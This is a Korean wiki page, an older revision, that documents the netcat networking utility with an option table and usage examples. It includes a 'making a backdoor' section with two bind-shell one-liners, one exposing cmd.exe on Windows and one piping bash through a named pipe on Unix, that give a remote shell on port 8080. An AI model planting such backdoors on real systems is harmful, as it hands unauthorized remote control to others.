application:netcat
문서의 이전 판입니다!
netcat
소개
- Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다.
- 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다.
- 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고,
원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며,
컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다. - nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고
흥미로운 몇 가지 내장기능을 갖고 있기 때문에
다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다
다운로드
사용방법
명령어
# nc [Option] [Target_host] [Ports]
Option
| 옵 션 | 설 명 |
|---|---|
| -e | command. connection이 이루어졌을 때 file을 실행시킨다. -l 옵션과 같이 사용되면 한 instance 만을 사용하는 inetd와 비슷하다. |
| -g | I Gateway. source-routing hop point[s]를 8씩 증가 |
| -G | num. source-routing point를 4, 8, 12 .. 4씩 증가 |
| -i | seconds. nc는 일반적으로 8K씩 데이터를 보내고 받는데, 그렇게 Standard input의 한 라인씩 interval time 마다 보내게 된다. |
| -l | listen. listening 모드이다. |
| -n | not DNS. DNS name을 사용하지 않는다. 호스트 네임과 포트를 숫자로만 입력 받는다. |
| -o | filename. 보내거나 받은 데이터를 저장한 파일 이름으로 파일에 저장한다. |
| -p | port. 포트지정 |
| -r | random port. port 지정이 여러 개로 되어 있으면 이 때 scanning 순서를 임의 지정하며, 또한 -p 옵션에서 지정 가능한 local port도 임의 지정 |
| -s | hostname/ip-address. local의 ip와 dns를 지원한다. |
| -t | telnetd. telnetd에 접속이 가능하도록 접속시 telnet과 같은 과정을 거친다. |
| -u | TCP 대신 UDP 프로토콜 |
| -v | Verbose. 자세한 설명 모드 |
| -w | timeout. 마지막으로 읽고 난 후 종료할 시간을 정한다. |
| -z | zero-I/O mode. connection을 이루기 위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션. 스캐닝시 많이 쓰임 |
활용예제
Backdoor 만들기
Windows NT.
c:\> nc -L -d -e c:\winnt\system32\cmd.exe -p 8080
UNIX/Linux
$ mkfifo /tmp/pipe; nc -l -p 8080 < /tmp/pipe | /bin/bash > /tmp/pipe
특정 포트 모니터링하기
v1rus ~ # nc -l -n -v -p 88 listening on [any] 88 ... connect to [165.246.43.109] from (UNKNOWN) [58.224.135.86] 3710
데이터 전송하기
- Receiver
#nc -l -p 1234 | uncompress -c | tar xvfp -
- Sender
#tar -cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
application/netcat.1196449732.txt.gz · 마지막으로 수정됨: 저자 222.238.62.180
